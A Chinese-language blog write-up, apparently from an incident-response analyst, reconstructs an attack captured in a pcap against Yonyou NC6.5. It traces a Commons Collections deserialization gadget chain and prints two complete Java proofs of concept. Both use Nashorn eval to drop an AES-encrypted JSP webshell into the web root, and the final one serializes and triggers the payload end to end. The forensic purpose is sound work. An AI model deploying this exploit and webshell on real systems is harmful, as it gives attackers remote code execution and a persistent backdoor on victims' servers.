背景:
励志做一个摸鱼仔,无奈摸鱼摸到一半,老大发了一个pcap包,说是应急单位在溯源,想要还原出攻击代码。无奈之下只有从摸鱼的状态恢复回来。
包是这个样子的,熟悉的小伙伴已经大概清楚了,是个反序列化的数据。我们要还原就要把数据提取出来。利用wireshark导出字节流,在本地打开看看。
接下来就是还原数据了。开始找的文章说可以直接命名class然后用反编译工具打开。试了一下死活不成,后来仔细想了一下,反序列化的数据要是能直接用反编译就见鬼了。那就笨办法,直接反序列化数据出来,然后跟一下链子的执行过程。代码如下,接下来在idea里面开冲。
流程分析
由于一开始不知道是哪里触发的,只能在readObject下个断点跟踪一下。根据最后跳到的readObject来看,进入了hashset.ReadObject()。也就是说触发点 hashset.ReadObject()。
利用hashmap,走到了put()方法中。有hash和hashval方法,传入了一个key foo。这几分析了之前的CC链就知道,是hash()里面存在问题。跟进去看看
进入hash(),走到了hashcode,这里发现了是TiedMapEntry对象。也就是说构造的链子应该是利用TiedMapEntry来进行包裹了。
利用CC1中的lazyMap进行触发。也就是说,我们需要new一个lazymap存放我们的恶意链,然后用TiedMapEntry来进行包裹。最后放到hashset中,大概是这样子。和CC6一样的。
跟到这里 ,链子主要的环节出来了 看看链子组里放了哪些
ConstantTransformer(实例化对象用)
实例化的类
javax.script.ScriptEngineManager(调用java实现解析js)
Integer
InvokerTransformer(反射调用对应的方法)
newInstance
getEngineByName
eval
流程大概是这样子
(1)利用newInstance来实例化一个ScriptEngineManager对象
(2)调用它的getEngineByName方法 传入的参数为js
看一下它的判断条件
(1)不为空
(2)name为下面中的一个
最后返回了NashornScriptEngine对象
那么到这里,我们应该能构造一个简易版的poc了。来看看简易版的poc
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.script.ScriptEngineManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class testq {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[] {
}, new Object[] {}),
new InvokerTransformer("getEngineByName", new Class[] {
String.class}, new Object[] { "js" }),
new InvokerTransformer("eval", new Class[] {
String.class}, new Object[] { "java.lang.Thread.sleep(3000);\n" +
" var path = \"webapps/nc_web/\"\n" +
" var printWriter2 = new java.io.PrintWriter(path+\"1.jsp\");\n" +
" var shell = \"<%@page import=\\\"java.util.*,javax.crypto.*,javax.crypto.spec.*\\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\\"pass\\\")!=null){String k=(\\\"\\\"+UUID.randomUUID()).replace(\\\"-\\\",\\\"\\\").substring(16);session.putValue(\\\"u\\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\\"AES\\\");c.init(2,new SecretKeySpec((session.getValue(\\\"u\\\")+\\\"\\\").getBytes(),\\\"AES\\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>\";\n" +
" printWriter2.println(shell);\n" +
" printWriter2.close();\n" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
transformerChain.transform(new Object());
}
}
执行以后看到了成功了,1.jsp生成了相应的代码。然后继续跟。
来看一下它传入的数据,这是前面已经写死了的先不管。
经过调用这个方法后,返回了一个NashornScriptEngine对象。调用了他的eval方法。
其中script保存了恶意的数据,网上百度了一下NashornScriptEngine的eval方法可以执行js的代码,类似下面这样。
关于这个js代码比较神奇,后续通过大量百度加问熟人,发现了一下文章。
https://www.jb51.net/article/92138.htm
能够上poc中执行代码一样。
到这里分析的其实差不多了,可以着手开始写poc了。其实分析下来,能发现和CC6很像,利用TiedMapEntry的getValue方法去触发lazymap的get()方法,去调用ChainedTransformer的transform,然后触发链子执行。明白了道理就来手写吧。
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.script.ScriptEngineManager;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class testq {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[] {
}, new Object[] {}),
new InvokerTransformer("getEngineByName", new Class[] {
String.class}, new Object[] { "js" }),
new InvokerTransformer("eval", new Class[] {
String.class}, new Object[] { "java.lang.Thread.sleep(3000);\n" +
" var path = \"webapps/nc_web/\"\n" +
" var printWriter2 = new java.io.PrintWriter(path+\"1.jsp\");\n" +
" var shell = \"<%@page import=\\\"java.util.*,javax.crypto.*,javax.crypto.spec.*\\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\\"pass\\\")!=null){String k=(\\\"\\\"+UUID.randomUUID()).replace(\\\"-\\\",\\\"\\\").substring(16);session.putValue(\\\"u\\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\\"AES\\\");c.init(2,new SecretKeySpec((session.getValue(\\\"u\\\")+\\\"\\\").getBytes(),\\\"AES\\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>\";\n" +
" printWriter2.println(shell);\n" +
" printWriter2.close();\n" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map m = new HashMap();
Map lazymap = LazyMap.decorate(m,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
File f = new File("1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
最终的poc就是这个样子。后面问了朋友,这就是用友NC6.5反序列化的标准链子,之前百度没有百度出来,看来还是对一些老洞碰到的比较少研究的不是很多。还是要多冲多干。第一次做这种事情,记录一下。